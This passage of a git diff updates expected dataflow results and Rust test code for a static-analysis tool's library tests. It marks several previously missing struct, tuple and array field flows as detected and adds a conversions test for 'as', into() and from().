+| main.rs:138:10:138:10 | p [Point.x] | main.rs:138:10:138:12 | p.x | provenance |  |
+| main.rs:145:5:145:5 | [post] p [Point.y] | main.rs:146:10:146:10 | p [Point.y] | provenance |  |
+| main.rs:145:11:145:20 | source(...) | main.rs:145:5:145:5 | [post] p [Point.y] | provenance |  |
+| main.rs:146:10:146:10 | p [Point.y] | main.rs:146:10:146:12 | p.y | provenance |  |
 | main.rs:150:9:150:9 | p [Point.x] | main.rs:154:9:154:28 | Point {...} [Point.x] | provenance |  |
 | main.rs:150:13:153:5 | Point {...} [Point.x] | main.rs:150:9:150:9 | p [Point.x] | provenance |  |
 | main.rs:151:12:151:21 | source(...) | main.rs:150:13:153:5 | Point {...} [Point.x] | provenance |  |
 | main.rs:154:9:154:28 | Point {...} [Point.x] | main.rs:154:20:154:20 | a | provenance |  |
 | main.rs:154:20:154:20 | a | main.rs:155:10:155:10 | a | provenance |  |
+| main.rs:165:9:165:9 | p [Point3D.plane, Point.y] | main.rs:173:10:173:10 | p [Point3D.plane, Point.y] | provenance |  |
+| main.rs:165:13:171:5 | Point3D {...} [Point3D.plane, Point.y] | main.rs:165:9:165:9 | p [Point3D.plane, Point.y] | provenance |  |
+| main.rs:166:16:169:9 | Point {...} [Point.y] | main.rs:165:13:171:5 | Point3D {...} [Point3D.plane, Point.y] | provenance |  |
+| main.rs:168:16:168:25 | source(...) | main.rs:166:16:169:9 | Point {...} [Point.y] | provenance |  |
+| main.rs:173:10:173:10 | p [Point3D.plane, Point.y] | main.rs:173:10:173:16 | p.plane [Point.y] | provenance |  |
+| main.rs:173:10:173:16 | p.plane [Point.y] | main.rs:173:10:173:18 | ... .y | provenance |  |
 | main.rs:178:9:178:9 | y | main.rs:180:30:180:30 | y | provenance |  |
 | main.rs:178:13:178:22 | source(...) | main.rs:178:9:178:9 | y | provenance |  |
 | main.rs:179:9:179:9 | p [Point3D.plane, Point.y] | main.rs:183:11:183:11 | p [Point3D.plane, Point.y] | provenance |  |
@@ -61,9 +75,11 @@ edges
 | main.rs:184:9:187:9 | Point3D {...} [Point3D.plane, Point.y] | main.rs:185:20:185:33 | Point {...} [Point.y] | provenance |  |
 | main.rs:185:20:185:33 | Point {...} [Point.y] | main.rs:185:31:185:31 | y | provenance |  |
 | main.rs:185:31:185:31 | y | main.rs:189:18:189:18 | y | provenance |  |
+| main.rs:198:9:198:9 | s [MyTupleStruct(0)] | main.rs:199:10:199:10 | s [MyTupleStruct(0)] | provenance |  |
 | main.rs:198:9:198:9 | s [MyTupleStruct(0)] | main.rs:202:11:202:11 | s [MyTupleStruct(0)] | provenance |  |
 | main.rs:198:13:198:40 | MyTupleStruct(...) [MyTupleStruct(0)] | main.rs:198:9:198:9 | s [MyTupleStruct(0)] | provenance |  |
 | main.rs:198:27:198:36 | source(...) | main.rs:198:13:198:40 | MyTupleStruct(...) [MyTupleStruct(0)] | provenance |  |
+| main.rs:199:10:199:10 | s [MyTupleStruct(0)] | main.rs:199:10:199:12 | s.0 | provenance |  |
 | main.rs:202:11:202:11 | s [MyTupleStruct(0)] | main.rs:203:9:203:27 | MyTupleStruct(...) [MyTupleStruct(0)] | provenance |  |
 | main.rs:203:9:203:27 | MyTupleStruct(...) [MyTupleStruct(0)] | main.rs:203:23:203:23 | x | provenance |  |
 | main.rs:203:23:203:23 | x | main.rs:204:18:204:18 | x | provenance |  |
@@ -79,54 +95,45 @@ edges
 | main.rs:229:11:229:12 | s1 [Some] | main.rs:230:9:230:15 | Some(...) [Some] | provenance |  |
 | main.rs:230:9:230:15 | Some(...) [Some] | main.rs:230:14:230:14 | n | provenance |  |
 | main.rs:230:14:230:14 | n | main.rs:230:25:230:25 | n | provenance |  |
-| main.rs:240:9:240:10 | s1 [Some] | main.rs:241:10:241:11 | s1 [Some] | provenance |  |
+| main.rs:240:9:240:10 | s1 [Some] | main.rs:241:10:241:20 | s1.unwrap(...) | provenance | MaD:2 |
 | main.rs:240:14:240:29 | Some(...) [Some] | main.rs:240:9:240:10 | s1 [Some] | provenance |  |
 | main.rs:240:19:240:28 | source(...) | main.rs:240:14:240:29 | Some(...) [Some] | provenance |  |
-| main.rs:241:10:241:11 | s1 [Some] | main.rs:241:10:241:20 | s1.unwrap(...) | provenance | MaD:1 |
-| main.rs:245:9:245:10 | s1 [Some] | main.rs:246:10:246:11 | s1 [Some] | provenance |  |
+| main.rs:245:9:245:10 | s1 [Some] | main.rs:246:10:246:24 | s1.unwrap_or(...) | provenance | MaD:4 |
 | main.rs:245:14:245:29 | Some(...) [Some] | main.rs:245:9:245:10 | s1 [Some] | provenance |  |
 | main.rs:245:19:245:28 | source(...) | main.rs:245:14:245:29 | Some(...) [Some] | provenance |  |
-| main.rs:246:10:246:11 | s1 [Some] | main.rs:246:10:246:24 | s1.unwrap_or(...) | provenance | MaD:3 |
-| main.rs:249:23:249:32 | source(...) | main.rs:249:10:249:33 | s2.unwrap_or(...) | provenance | MaD:2 |
-| main.rs:253:9:253:10 | s1 [Some] | main.rs:254:10:254:11 | s1 [Some] | provenance |  |
+| main.rs:249:23:249:32 | source(...) | main.rs:249:10:249:33 | s2.unwrap_or(...) | provenance | MaD:3 |
+| main.rs:253:9:253:10 | s1 [Some] | main.rs:254:10:254:32 | s1.unwrap_or_else(...) | provenance | MaD:6 |
 | main.rs:253:14:253:29 | Some(...) [Some] | main.rs:253:9:253:10 | s1 [Some] | provenance |  |
 | main.rs:253:19:253:28 | source(...) | main.rs:253:14:253:29 | Some(...) [Some] | provenance |  |
-| main.rs:254:10:254:11 | s1 [Some] | main.rs:254:10:254:32 | s1.unwrap_or_else(...) | provenance | MaD:5 |
-| main.rs:257:31:257:40 | source(...) | main.rs:257:10:257:41 | s2.unwrap_or_else(...) | provenance | MaD:4 |
+| main.rs:257:31:257:40 | source(...) | main.rs:257:10:257:41 | s2.unwrap_or_else(...) | provenance | MaD:5 |
 | main.rs:261:9:261:10 | s1 [Some] | main.rs:263:14:263:15 | s1 [Some] | provenance |  |
 | main.rs:261:14:261:29 | Some(...) [Some] | main.rs:261:9:261:10 | s1 [Some] | provenance |  |
 | main.rs:261:19:261:28 | source(...) | main.rs:261:14:261:29 | Some(...) [Some] | provenance |  |
 | main.rs:263:9:263:10 | i1 | main.rs:264:10:264:11 | i1 | provenance |  |
 | main.rs:263:14:263:15 | s1 [Some] | main.rs:263:14:263:16 | TryExpr | provenance |  |
 | main.rs:263:14:263:16 | TryExpr | main.rs:263:9:263:10 | i1 | provenance |  |
-| main.rs:270:9:270:10 | r1 [Ok] | main.rs:271:29:271:30 | r1 [Ok] | provenance |  |
+| main.rs:270:9:270:10 | r1 [Ok] | main.rs:271:29:271:35 | r1.ok(...) [Some] | provenance | MaD:10 |
 | main.rs:270:33:270:46 | Ok(...) [Ok] | main.rs:270:9:270:10 | r1 [Ok] | provenance |  |
 | main.rs:270:36:270:45 | source(...) | main.rs:270:33:270:46 | Ok(...) [Ok] | provenance |  |
-| main.rs:271:9:271:11 | o1a [Some] | main.rs:273:10:273:12 | o1a [Some] | provenance |  |
-| main.rs:271:29:271:30 | r1 [Ok] | main.rs:271:29:271:35 | r1.ok(...) [Some] | provenance | MaD:9 |
+| main.rs:271:9:271:11 | o1a [Some] | main.rs:273:10:273:21 | o1a.unwrap(...) | provenance | MaD:2 |
 | main.rs:271:29:271:35 | r1.ok(...) [Some] | main.rs:271:9:271:11 | o1a [Some] | provenance |  |
-| main.rs:273:10:273:12 | o1a [Some] | main.rs:273:10:273:21 | o1a.unwrap(...) | provenance | MaD:1 |
-| main.rs:276:9:276:10 | r2 [Err] | main.rs:278:29:278:30 | r2 [Err] | provenance |  |
+| main.rs:276:9:276:10 | r2 [Err] | main.rs:278:29:278:36 | r2.err(...) [Some] | provenance | MaD:7 |
 | main.rs:276:33:276:47 | Err(...) [Err] | main.rs:276:9:276:10 | r2 [Err] | provenance |  |
 | main.rs:276:37:276:46 | source(...) | main.rs:276:33:276:47 | Err(...) [Err] | provenance |  |
-| main.rs:278:9:278:11 | o2b [Some] | main.rs:280:10:280:12 | o2b [Some] | provenance |  |
-| main.rs:278:29:278:30 | r2 [Err] | main.rs:278:29:278:36 | r2.err(...) [Some] | provenance | MaD:6 |
+| main.rs:278:9:278:11 | o2b [Some] | main.rs:280:10:280:21 | o2b.unwrap(...) | provenance | MaD:2 |
 | main.rs:278:29:278:36 | r2.err(...) [Some] | main.rs:278:9:278:11 | o2b [Some] | provenance |  |
-| main.rs:280:10:280:12 | o2b [Some] | main.rs:280:10:280:21 | o2b.unwrap(...) | provenance | MaD:1 |
 | main.rs:284:9:284:10 | s1 [Ok] | main.rs:287:14:287:15 | s1 [Ok] | provenance |  |
 | main.rs:284:32:284:45 | Ok(...) [Ok] | main.rs:284:9:284:10 | s1 [Ok] | provenance |  |
 | main.rs:284:35:284:44 | source(...) | main.rs:284:32:284:45 | Ok(...) [Ok] | provenance |  |
 | main.rs:287:9:287:10 | i1 | main.rs:289:10:289:11 | i1 | provenance |  |
 | main.rs:287:14:287:15 | s1 [Ok] | main.rs:287:14:287:16 | TryExpr | provenance |  |
 | main.rs:287:14:287:16 | TryExpr | main.rs:287:9:287:10 | i1 | provenance |  |
-| main.rs:297:9:297:10 | s1 [Ok] | main.rs:298:10:298:11 | s1 [Ok] | provenance |  |
+| main.rs:297:9:297:10 | s1 [Ok] | main.rs:298:10:298:22 | s1.expect(...) | provenance | MaD:8 |
 | main.rs:297:32:297:45 | Ok(...) [Ok] | main.rs:297:9:297:10 | s1 [Ok] | provenance |  |
 | main.rs:297:35:297:44 | source(...) | main.rs:297:32:297:45 | Ok(...) [Ok] | provenance |  |
-| main.rs:298:10:298:11 | s1 [Ok] | main.rs:298:10:298:22 | s1.expect(...) | provenance | MaD:7 |
-| main.rs:301:9:301:10 | s2 [Err] | main.rs:303:10:303:11 | s2 [Err] | provenance |  |
+| main.rs:301:9:301:10 | s2 [Err] | main.rs:303:10:303:26 | s2.expect_err(...) | provenance | MaD:9 |
 | main.rs:301:32:301:46 | Err(...) [Err] | main.rs:301:9:301:10 | s2 [Err] | provenance |  |
 | main.rs:301:36:301:45 | source(...) | main.rs:301:32:301:46 | Err(...) [Err] | provenance |  |
-| main.rs:303:10:303:11 | s2 [Err] | main.rs:303:10:303:26 | s2.expect_err(...) | provenance | MaD:8 |
 | main.rs:312:9:312:10 | s1 [A] | main.rs:314:11:314:12 | s1 [A] | provenance |  |
 | main.rs:312:14:312:39 | ...::A(...) [A] | main.rs:312:9:312:10 | s1 [A] | provenance |  |
 | main.rs:312:29:312:38 | source(...) | main.rs:312:14:312:39 | ...::A(...) [A] | provenance |  |
@@ -212,6 +219,10 @@ edges
 | main.rs:481:10:481:11 | vs [element] | main.rs:481:10:481:14 | vs[0] | provenance |  |
 | main.rs:485:9:485:9 | v | main.rs:486:14:486:14 | v | provenance |  |
 | main.rs:485:14:485:15 | vs [element] | main.rs:485:9:485:9 | v | provenance |  |
+| main.rs:504:9:504:18 | mut vs_mut [element] | main.rs:506:10:506:15 | vs_mut [element] | provenance |  |
+| main.rs:504:22:504:42 | [...] [element] | main.rs:504:9:504:18 | mut vs_mut [element] | provenance |  |
+| main.rs:504:23:504:32 | source(...) | main.rs:504:22:504:42 | [...] [element] | provenance |  |
+| main.rs:506:10:506:15 | vs_mut [element] | main.rs:506:10:506:18 | vs_mut[0] | provenance |  |
 | main.rs:516:9:516:9 | a | main.rs:521:10:521:10 | a | provenance |  |
 | main.rs:516:13:516:22 | source(...) | main.rs:516:9:516:9 | a | provenance |  |
 | main.rs:518:9:518:9 | c | main.rs:519:18:519:18 | c | provenance |  |
@@ -220,6 +231,9 @@ edges
 | main.rs:519:17:519:18 | &c [&ref] | main.rs:519:9:519:13 | c_ref [&ref] | provenance |  |
 | main.rs:519:18:519:18 | c | main.rs:519:17:519:18 | &c [&ref] | provenance |  |
 | main.rs:524:11:524:15 | c_ref [&ref] | main.rs:524:10:524:15 | * ... | provenance |  |
+| main.rs:528:9:528:9 | a | main.rs:532:20:532:20 | a | provenance |  |
+| main.rs:528:18:528:27 | source(...) | main.rs:528:9:528:9 | a | provenance |  |
+| main.rs:532:20:532:20 | a | main.rs:532:10:532:21 | ...::from(...) | provenance | MaD:1 |
 nodes
 | main.rs:18:10:18:18 | source(...) | semmle.label | source(...) |
 | main.rs:22:9:22:9 | s | semmle.label | s |
@@ -269,12 +283,28 @@ nodes
 | main.rs:124:10:124:10 | b [tuple.0, tuple.1] | semmle.label | b [tuple.0, tuple.1] |
 | main.rs:124:10:124:12 | b.0 [tuple.1] | semmle.label | b.0 [tuple.1] |
 | main.rs:124:10:124:15 | ... .1 | semmle.label | ... .1 |
+| main.rs:137:9:137:9 | p [Point.x] | semmle.label | p [Point.x] |
+| main.rs:137:13:137:40 | Point {...} [Point.x] | semmle.label | Point {...} [Point.x] |
+| main.rs:137:24:137:32 | source(...) | semmle.label | source(...) |
+| main.rs:138:10:138:10 | p [Point.x] | semmle.label | p [Point.x] |
+| main.rs:138:10:138:12 | p.x | semmle.label | p.x |
+| main.rs:145:5:145:5 | [post] p [Point.y] | semmle.label | [post] p [Point.y] |
+| main.rs:145:11:145:20 | source(...) | semmle.label | source(...) |
+| main.rs:146:10:146:10 | p [Point.y] | semmle.label | p [Point.y] |
+| main.rs:146:10:146:12 | p.y | semmle.label | p.y |
 | main.rs:150:9:150:9 | p [Point.x] | semmle.label | p [Point.x] |
 | main.rs:150:13:153:5 | Point {...} [Point.x] | semmle.label | Point {...} [Point.x] |
 | main.rs:151:12:151:21 | source(...) | semmle.label | source(...) |
 | main.rs:154:9:154:28 | Point {...} [Point.x] | semmle.label | Point {...} [Point.x] |
 | main.rs:154:20:154:20 | a | semmle.label | a |
 | main.rs:155:10:155:10 | a | semmle.label | a |
+| main.rs:165:9:165:9 | p [Point3D.plane, Point.y] | semmle.label | p [Point3D.plane, Point.y] |
+| main.rs:165:13:171:5 | Point3D {...} [Point3D.plane, Point.y] | semmle.label | Point3D {...} [Point3D.plane, Point.y] |
+| main.rs:166:16:169:9 | Point {...} [Point.y] | semmle.label | Point {...} [Point.y] |
+| main.rs:168:16:168:25 | source(...) | semmle.label | source(...) |
+| main.rs:173:10:173:10 | p [Point3D.plane, Point.y] | semmle.label | p [Point3D.plane, Point.y] |
+| main.rs:173:10:173:16 | p.plane [Point.y] | semmle.label | p.plane [Point.y] |
+| main.rs:173:10:173:18 | ... .y | semmle.label | ... .y |
 | main.rs:178:9:178:9 | y | semmle.label | y |
 | main.rs:178:13:178:22 | source(...) | semmle.label | source(...) |
 | main.rs:179:9:179:9 | p [Point3D.plane, Point.y] | semmle.label | p [Point3D.plane, Point.y] |
@@ -289,6 +319,8 @@ nodes
 | main.rs:198:9:198:9 | s [MyTupleStruct(0)] | semmle.label | s [MyTupleStruct(0)] |
 | main.rs:198:13:198:40 | MyTupleStruct(...) [MyTupleStruct(0)] | semmle.label | MyTupleStruct(...) [MyTupleStruct(0)] |
 | main.rs:198:27:198:36 | source(...) | semmle.label | source(...) |
+| main.rs:199:10:199:10 | s [MyTupleStruct(0)] | semmle.label | s [MyTupleStruct(0)] |
+| main.rs:199:10:199:12 | s.0 | semmle.label | s.0 |
 | main.rs:202:11:202:11 | s [MyTupleStruct(0)] | semmle.label | s [MyTupleStruct(0)] |
 | main.rs:203:9:203:27 | MyTupleStruct(...) [MyTupleStruct(0)] | semmle.label | MyTupleStruct(...) [MyTupleStruct(0)] |
 | main.rs:203:23:203:23 | x | semmle.label | x |
@@ -310,19 +342,16 @@ nodes
 | main.rs:240:9:240:10 | s1 [Some] | semmle.label | s1 [Some] |
 | main.rs:240:14:240:29 | Some(...) [Some] | semmle.label | Some(...) [Some] |
 | main.rs:240:19:240:28 | source(...) | semmle.label | source(...) |
-| main.rs:241:10:241:11 | s1 [Some] | semmle.label | s1 [Some] |
 | main.rs:241:10:241:20 | s1.unwrap(...) | semmle.label | s1.unwrap(...) |
 | main.rs:245:9:245:10 | s1 [Some] | semmle.label | s1 [Some] |
 | main.rs:245:14:245:29 | Some(...) [Some] | semmle.label | Some(...) [Some] |
 | main.rs:245:19:245:28 | source(...) | semmle.label | source(...) |
-| main.rs:246:10:246:11 | s1 [Some] | semmle.label | s1 [Some] |
 | main.rs:246:10:246:24 | s1.unwrap_or(...) | semmle.label | s1.unwrap_or(...) |
 | main.rs:249:10:249:33 | s2.unwrap_or(...) | semmle.label | s2.unwrap_or(...) |
 | main.rs:249:23:249:32 | source(...) | semmle.label | source(...) |
 | main.rs:253:9:253:10 | s1 [Some] | semmle.label | s1 [Some] |
 | main.rs:253:14:253:29 | Some(...) [Some] | semmle.label | Some(...) [Some] |
 | main.rs:253:19:253:28 | source(...) | semmle.label | source(...) |
-| main.rs:254:10:254:11 | s1 [Some] | semmle.label | s1 [Some] |
 | main.rs:254:10:254:32 | s1.unwrap_or_else(...) | semmle.label | s1.unwrap_or_else(...) |
 | main.rs:257:10:257:41 | s2.unwrap_or_else(...) | semmle.label | s2.unwrap_or_else(...) |
 | main.rs:257:31:257:40 | source(...) | semmle.label | source(...) |
@@ -337,17 +366,13 @@ nodes
 | main.rs:270:33:270:46 | Ok(...) [Ok] | semmle.label | Ok(...) [Ok] |
 | main.rs:270:36:270:45 | source(...) | semmle.label | source(...) |
 | main.rs:271:9:271:11 | o1a [Some] | semmle.label | o1a [Some] |
-| main.rs:271:29:271:30 | r1 [Ok] | semmle.label | r1 [Ok] |
 | main.rs:271:29:271:35 | r1.ok(...) [Some] | semmle.label | r1.ok(...) [Some] |
-| main.rs:273:10:273:12 | o1a [Some] | semmle.label | o1a [Some] |
 | main.rs:273:10:273:21 | o1a.unwrap(...) | semmle.label | o1a.unwrap(...) |
 | main.rs:276:9:276:10 | r2 [Err] | semmle.label | r2 [Err] |
 | main.rs:276:33:276:47 | Err(...) [Err] | semmle.label | Err(...) [Err] |
 | main.rs:276:37:276:46 | source(...) | semmle.label | source(...) |
 | main.rs:278:9:278:11 | o2b [Some] | semmle.label | o2b [Some] |
-| main.rs:278:29:278:30 | r2 [Err] | semmle.label | r2 [Err] |
 | main.rs:278:29:278:36 | r2.err(...) [Some] | semmle.label | r2.err(...) [Some] |
-| main.rs:280:10:280:12 | o2b [Some] | semmle.label | o2b [Some] |
 | main.rs:280:10:280:21 | o2b.unwrap(...) | semmle.label | o2b.unwrap(...) |
 | main.rs:284:9:284:10 | s1 [Ok] | semmle.label | s1 [Ok] |
 | main.rs:284:32:284:45 | Ok(...) [Ok] | semmle.label | Ok(...) [Ok] |
@@ -359,12 +384,10 @@ nodes
 | main.rs:297:9:297:10 | s1 [Ok] | semmle.label | s1 [Ok] |
 | main.rs:297:32:297:45 | Ok(...) [Ok] | semmle.label | Ok(...) [Ok] |
 | main.rs:297:35:297:44 | source(...) | semmle.label | source(...) |
-| main.rs:298:10:298:11 | s1 [Ok] | semmle.label | s1 [Ok] |
 | main.rs:298:10:298:22 | s1.expect(...) | semmle.label | s1.expect(...) |
 | main.rs:301:9:301:10 | s2 [Err] | semmle.label | s2 [Err] |
 | main.rs:301:32:301:46 | Err(...) [Err] | semmle.label | Err(...) [Err] |
 | main.rs:301:36:301:45 | source(...) | semmle.label | source(...) |
-| main.rs:303:10:303:11 | s2 [Err] | semmle.label | s2 [Err] |
 | main.rs:303:10:303:26 | s2.expect_err(...) | semmle.label | s2.expect_err(...) |
 | main.rs:312:9:312:10 | s1 [A] | semmle.label | s1 [A] |
 | main.rs:312:14:312:39 | ...::A(...) [A] | semmle.label | ...::A(...) [A] |
@@ -463,6 +486,11 @@ nodes
 | main.rs:485:9:485:9 | v | semmle.label | v |
 | main.rs:485:14:485:15 | vs [element] | semmle.label | vs [element] |
 | main.rs:486:14:486:14 | v | semmle.label | v |
+| main.rs:504:9:504:18 | mut vs_mut [element] | semmle.label | mut vs_mut [element] |
+| main.rs:504:22:504:42 | [...] [element] | semmle.label | [...] [element] |
+| main.rs:504:23:504:32 | source(...) | semmle.label | source(...) |
+| main.rs:506:10:506:15 | vs_mut [element] | semmle.label | vs_mut [element] |
+| main.rs:506:10:506:18 | vs_mut[0] | semmle.label | vs_mut[0] |
 | main.rs:516:9:516:9 | a | semmle.label | a |
 | main.rs:516:13:516:22 | source(...) | semmle.label | source(...) |
 | main.rs:518:9:518:9 | c | semmle.label | c |
@@ -473,6 +501,10 @@ nodes
 | main.rs:521:10:521:10 | a | semmle.label | a |
 | main.rs:524:10:524:15 | * ... | semmle.label | * ... |
 | main.rs:524:11:524:15 | c_ref [&ref] | semmle.label | c_ref [&ref] |
+| main.rs:528:9:528:9 | a | semmle.label | a |
+| main.rs:528:18:528:27 | source(...) | semmle.label | source(...) |
+| main.rs:532:10:532:21 | ...::from(...) | semmle.label | ...::from(...) |
+| main.rs:532:20:532:20 | a | semmle.label | a |
 subpaths
 testFailures
 #select
@@ -487,8 +519,12 @@ testFailures
 | main.rs:113:10:113:12 | a.1 | main.rs:111:21:111:30 | source(...) | main.rs:113:10:113:12 | a.1 | $@ | main.rs:111:21:111:30 | source(...) | source(...) |
 | main.rs:116:10:116:12 | a.0 | main.rs:114:11:114:20 | source(...) | main.rs:116:10:116:12 | a.0 | $@ | main.rs:114:11:114:20 | source(...) | source(...) |
 | main.rs:124:10:124:15 | ... .1 | main.rs:121:17:121:26 | source(...) | main.rs:124:10:124:15 | ... .1 | $@ | main.rs:121:17:121:26 | source(...) | source(...) |
+| main.rs:138:10:138:12 | p.x | main.rs:137:24:137:32 | source(...) | main.rs:138:10:138:12 | p.x | $@ | main.rs:137:24:137:32 | source(...) | source(...) |
+| main.rs:146:10:146:12 | p.y | main.rs:145:11:145:20 | source(...) | main.rs:146:10:146:12 | p.y | $@ | main.rs:145:11:145:20 | source(...) | source(...) |
 | main.rs:155:10:155:10 | a | main.rs:151:12:151:21 | source(...) | main.rs:155:10:155:10 | a | $@ | main.rs:151:12:151:21 | source(...) | source(...) |
+| main.rs:173:10:173:18 | ... .y | main.rs:168:16:168:25 | source(...) | main.rs:173:10:173:18 | ... .y | $@ | main.rs:168:16:168:25 | source(...) | source(...) |
 | main.rs:189:18:189:18 | y | main.rs:178:13:178:22 | source(...) | main.rs:189:18:189:18 | y | $@ | main.rs:178:13:178:22 | source(...) | source(...) |
+| main.rs:199:10:199:12 | s.0 | main.rs:198:27:198:36 | source(...) | main.rs:199:10:199:12 | s.0 | $@ | main.rs:198:27:198:36 | source(...) | source(...) |
 | main.rs:204:18:204:18 | x | main.rs:198:27:198:36 | source(...) | main.rs:204:18:204:18 | x | $@ | main.rs:198:27:198:36 | source(...) | source(...) |
 | main.rs:217:33:217:33 | n | main.rs:214:27:214:36 | source(...) | main.rs:217:33:217:33 | n | $@ | main.rs:214:27:214:36 | source(...) | source(...) |
 | main.rs:230:25:230:25 | n | main.rs:227:19:227:28 | source(...) | main.rs:230:25:230:25 | n | $@ | main.rs:227:19:227:28 | source(...) | source(...) |
@@ -523,5 +559,7 @@ testFailures
 | main.rs:472:10:472:10 | a | main.rs:467:13:467:22 | source(...) | main.rs:472:10:472:10 | a | $@ | main.rs:467:13:467:22 | source(...) | source(...) |
 | main.rs:481:10:481:14 | vs[0] | main.rs:479:15:479:24 | source(...) | main.rs:481:10:481:14 | vs[0] | $@ | main.rs:479:15:479:24 | source(...) | source(...) |
 | main.rs:486:14:486:14 | v | main.rs:479:15:479:24 | source(...) | main.rs:486:14:486:14 | v | $@ | main.rs:479:15:479:24 | source(...) | source(...) |
+| main.rs:506:10:506:18 | vs_mut[0] | main.rs:504:23:504:32 | source(...) | main.rs:506:10:506:18 | vs_mut[0] | $@ | main.rs:504:23:504:32 | source(...) | source(...) |
 | main.rs:521:10:521:10 | a | main.rs:516:13:516:22 | source(...) | main.rs:521:10:521:10 | a | $@ | main.rs:516:13:516:22 | source(...) | source(...) |
 | main.rs:524:10:524:15 | * ... | main.rs:518:13:518:22 | source(...) | main.rs:524:10:524:15 | * ... | $@ | main.rs:518:13:518:22 | source(...) | source(...) |
+| main.rs:532:10:532:21 | ...::from(...) | main.rs:528:18:528:27 | source(...) | main.rs:532:10:532:21 | ...::from(...) | $@ | main.rs:528:18:528:27 | source(...) | source(...) |
diff --git a/rust/ql/test/library-tests/dataflow/local/main.rs b/rust/ql/test/library-tests/dataflow/local/main.rs
index 858773d1b306..1d91135a31d5 100644
--- a/rust/ql/test/library-tests/dataflow/local/main.rs
+++ b/rust/ql/test/library-tests/dataflow/local/main.rs
@@ -135,7 +135,7 @@ struct Point {
 
 fn struct_field() {
     let p = Point { x: source(9), y: 2 };
-    sink(p.x); // $ MISSING: hasValueFlow=9
+    sink(p.x); // $ hasValueFlow=9
     sink(p.y);
 }
 
@@ -143,7 +143,7 @@ fn struct_mutation() {
     let mut p = Point { x: source(9), y: 2 };
     sink(p.y);
     p.y = source(54);
-    sink(p.y); // $ MISSING: hasValueFlow=54
+    sink(p.y); // $ hasValueFlow=54
 }
 
 fn struct_pattern_match() {
@@ -170,7 +170,7 @@ fn struct_nested_field() {
         z: 4,
     };
     sink(p.plane.x);
-    sink(p.plane.y); // $ MISSING: hasValueFlow=77
+    sink(p.plane.y); // $ hasValueFlow=77
     sink(p.z);
 }
 
@@ -196,7 +196,7 @@ struct MyTupleStruct(i64, i64);
 
 fn tuple_struct() {
     let s = MyTupleStruct(source(94), 2);
-    sink(s.0); // $ MISSING: hasValueFlow=94
+    sink(s.0); // $ hasValueFlow=94
     sink(s.1);
 
     match s {
@@ -503,7 +503,7 @@ fn iterators() {
 
     let mut vs_mut = [source(92), 2, 3, 4];
 
-    sink(vs_mut[0]); // $ MISSING: hasValueFlow=92
+    sink(vs_mut[0]); // $ hasValueFlow=92
     sink(*vs_mut.iter().next().unwrap()); // $ MISSING: hasValueFlow=92
     sink(*vs_mut.iter().nth(0).unwrap()); // $ MISSING: hasValueFlow=92
 
@@ -524,6 +524,20 @@ fn references() {
     sink(*c_ref); // $ hasValueFlow=42
 }
 
+fn conversions() {
+    let a: i64 = source(50);
+
+    sink(a as i64); // $ hasTaintFlow=50
+    sink(a.into()); // $ MISSING: hasValueFlow=50
+    sink(i64::from(a)); // $ hasValueFlow=50
+
+    let b: i32 = source(51) as i32;
+
+    sink(b as i64); // $ hasTaintFlow=51
+    sink(b.into()); // $ MISSING: hasTaintFlow=51
+    sink(i64::from(b)); // $ hasTaintFlow=51
+}
+
 fn main() {
     direct();
     variable_usage();
@@ -565,4 +579,5 @@ fn main() {
     parse();
     iterators();
     references();
+    conversions();
 }
diff --git a/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected b/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected
index 171e60a21292..2bfeb4dea738 100644
--- a/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected
+++ b/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected
@@ -7,41 +7,33 @@ models
 | 6 | Summary: lang:core; crate::ptr::read; Argument[0].Reference; ReturnValue; value |
 | 7 | Summary: lang:core; crate::ptr::write; Argument[1]; Argument[0].Reference; value |
 edges
-| main.rs:12:9:12:9 | a [Some] | main.rs:13:10:13:10 | a [Some] | provenance |  |
-| main.rs:12:9:12:9 | a [Some] | main.rs:14:13:14:13 | a [Some] | provenance |  |
+| main.rs:12:9:12:9 | a [Some] | main.rs:13:10:13:19 | a.unwrap(...) | provenance | MaD:2 |
+| main.rs:12:9:12:9 | a [Some] | main.rs:14:13:14:21 | a.clone(...) [Some] | provenance | MaD:1 |
+| main.rs:12:9:12:9 | a [Some] | main.rs:14:13:14:21 | a.clone(...) [Some] | provenance | generated |
 | main.rs:12:13:12:28 | Some(...) [Some] | main.rs:12:9:12:9 | a [Some] | provenance |  |
 | main.rs:12:18:12:27 | source(...) | main.rs:12:13:12:28 | Some(...) [Some] | provenance |  |
-| main.rs:13:10:13:10 | a [Some] | main.rs:13:10:13:19 | a.unwrap(...) | provenance | MaD:2 |
-| main.rs:14:9:14:9 | b [Some] | main.rs:15:10:15:10 | b [Some] | provenance |  |
-| main.rs:14:13:14:13 | a [Some] | main.rs:14:13:14:21 | a.clone(...) [Some] | provenance | MaD:1 |
-| main.rs:14:13:14:13 | a [Some] | main.rs:14:13:14:21 | a.clone(...) [Some] | provenance | generated |
+| main.rs:14:9:14:9 | b [Some] | main.rs:15:10:15:19 | b.unwrap(...) | provenance | MaD:2 |
 | main.rs:14:13:14:21 | a.clone(...) [Some] | main.rs:14:9:14:9 | b [Some] | provenance |  |
-| main.rs:15:10:15:10 | b [Some] | main.rs:15:10:15:19 | b.unwrap(...) | provenance | MaD:2 |
-| main.rs:19:9:19:9 | a [Ok] | main.rs:20:10:20:10 | a [Ok] | provenance |  |
-| main.rs:19:9:19:9 | a [Ok] | main.rs:21:13:21:13 | a [Ok] | provenance |  |
+| main.rs:19:9:19:9 | a [Ok] | main.rs:20:10:20:19 | a.unwrap(...) | provenance | MaD:5 |
+| main.rs:19:9:19:9 | a [Ok] | main.rs:21:13:21:21 | a.clone(...) [Ok] | provenance | MaD:4 |
+| main.rs:19:9:19:9 | a [Ok] | main.rs:21:13:21:21 | a.clone(...) [Ok] | provenance | generated |
 | main.rs:19:31:19:44 | Ok(...) [Ok] | main.rs:19:9:19:9 | a [Ok] | provenance |  |
 | main.rs:19:34:19:43 | source(...) | main.rs:19:31:19:44 | Ok(...) [Ok] | provenance |  |
-| main.rs:20:10:20:10 | a [Ok] | main.rs:20:10:20:19 | a.unwrap(...) | provenance | MaD:5 |
-| main.rs:21:9:21:9 | b [Ok] | main.rs:22:10:22:10 | b [Ok] | provenance |  |
-| main.rs:21:13:21:13 | a [Ok] | main.rs:21:13:21:21 | a.clone(...) [Ok] | provenance | MaD:4 |
